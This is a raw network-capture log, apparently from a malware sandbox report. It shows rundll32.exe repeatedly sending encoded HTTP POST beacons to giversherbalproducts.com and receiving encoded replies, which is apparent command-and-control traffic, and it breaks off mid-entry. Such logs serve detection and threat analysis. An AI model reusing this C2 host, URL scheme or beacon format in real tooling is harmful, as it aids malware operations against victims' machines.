Oct 4, 2021 16:04:33.656933069 CEST	7582	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:33 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 38 66 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh8f0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
415	192.168.2.3	50257	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:33.497648954 CEST	7581	OUT	POST /lBawcxb5/Mz0afCg7BhkbLgUPQn12eWR6endleGV/ HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:33.971733093 CEST	7583	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:33 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 38 66 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh8f0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
416	192.168.2.3	50258	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:33.994664907 CEST	7584	OUT	POST /lBawcxb5/OX4ZfwIJDCF0ORk4Oho3BwsENXZyL0J9dnlkenp3ZXhlfw== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:34.494343042 CEST	7585	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:34 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 38 65 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh8eEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
417	192.168.2.3	50259	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:34.464488029 CEST	7584	OUT	POST /lBawcxb5/PQ0gIRZ+ISIiFRp8EykJAxAnfQl9MwAbAUJ7cn5henxzYn1leQ== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:34.949887037 CEST	7586	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:34 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 38 65 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh8eEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
418	192.168.2.3	50260	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:35.023936987 CEST	7587	OUT	POST /lBawcxb5/Ex5+Li0pPAMVCkJ7cn5henxzYn1leQ== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:35.510982990 CEST	7588	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:35 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 38 65 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh8eUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
419	192.168.2.3	50261	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:35.301953077 CEST	7587	OUT	POST /lBawcxb5/PA0fD304fCotO0J7cn5henxzYn1leQ== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:35.788101912 CEST	7589	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:35 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 38 65 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh8eUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.3	49797	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:31.496727943 CEST	1131	OUT	POST /lBawcxb5/OSdCfXZ5ZHp6d2V4ZX8= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:32.083702087 CEST	1132	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:31 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 70 79 66 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXpyfUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
420	192.168.2.3	50262	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:35.948182106 CEST	7590	OUT	POST /lBawcxb5/Mg8cPX4lcjsFBHgzcxwqKR4gDR0dEBl8C0J7cn5henxzYn1leQ== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:36.409773111 CEST	7591	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:36 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 38 65 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh8ekJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
421	192.168.2.3	50263	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:36.215987921 CEST	7590	OUT	POST /lBawcxb5/EgIsGisbLy8FIAp9DwgHByIYeEZ6c3lifn1yZX5heA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:36.827686071 CEST	7593	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:36 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 38 65 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh8ekJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
422	192.168.2.3	50264	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:36.816482067 CEST	7592	OUT	POST /lBawcxb5/Ixo9RX5yeGV9eXNkeWJ8 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:37.297177076 CEST	7594	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:36 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 38 65 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: 